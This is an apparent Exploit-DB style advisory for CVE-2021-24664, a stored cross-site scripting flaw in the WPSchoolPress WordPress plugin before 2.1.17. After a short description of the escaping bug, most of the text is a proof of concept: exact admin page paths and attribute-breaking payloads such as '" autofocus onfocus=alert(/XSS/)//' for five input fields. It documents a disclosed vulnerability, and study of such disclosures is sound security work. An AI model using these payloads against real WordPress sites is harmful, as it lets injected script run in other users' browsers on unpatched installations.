WordPress Plugin WPSchoolPress 2.1.16 - 'Multiple' Cross Site Scripting (XSS)

# Exploit Title: WordPress Plugin WPSchoolPress 2.1.16 - 'Multiple' Cross Site Scripting (XSS)
# Date: 20/08/2021
# Exploit Author: Davide Taraschi
# Vendor Homepage: https://wpschoolpress.com/
# Software Link: https://wpschoolpress.com/free-download/
# Version: up to 2.1.17 (non included)
# Tested on: Ubuntu 20.04 over WordPress 5.8 and apache2
# CVE : CVE-2021-24664

# Description:
The plugin sanitise some fields using a wordpress built-in function called sanitize_text_field() but does not correctly escape them before outputting in attributes, resulting in Stored Cross-Site Scripting issues.
The function wp_sanitize_text_field() escape < and > but does not escape characters like ", allowing an attacker to break a HTML input tag and inject arbitrary javascript.

# PoC:
As admin,
- Add a new teacher attendance (/wp-admin/admin.php?page=sch-teacherattendance), Tick the Absent box and put the following payload in the Reason: "style=animation-name:rotation onanimationstart=alert(/XSS/)//
The XSS will be triggered when adding another teacher attendance by clicking on the Add button

- Add a new Student Attendance (/wp-admin/admin.php?page=sch-attendance), tick the Absent box and put the following payload in the Reason: " style=animation-name:rotation onanimationstart=alert(/XSS/)//
The XSS will be triggered when adding another attendance by clicking the 'Add/Update' button

- Add a new Subject Mark Field (/wp-admin/admin.php?page=sch-settings&sc=subField) and put the following payload in the 'Field': " autofocus onfocus=alert(/XSS/)//
The XSS will be triggered when editing the created Subject Mark (ie /admin.php?page=sch-settings&sc=subField&ac=edit&sid=3)

- Create a new Subject (/wp-admin/admin.php?page=sch-subject), with the following payload in the Subject Name field: " autofocus onfocus=alert(/XSS/)//
The XSS will be triggered when editing the Subject

- Create a new Exam (/wp-admin/admin.php?page=sch-exams) with the following payload in the Exam Name Field: " autofocus onfocus=alert(/XSS/)//
The XSS will be triggered when editing the Exam=20

Note that some of this XSS issues can be executed by a teacher (medium-privileged user), but since wordpress uses HTTPonly cookies is impossible to steal cookies.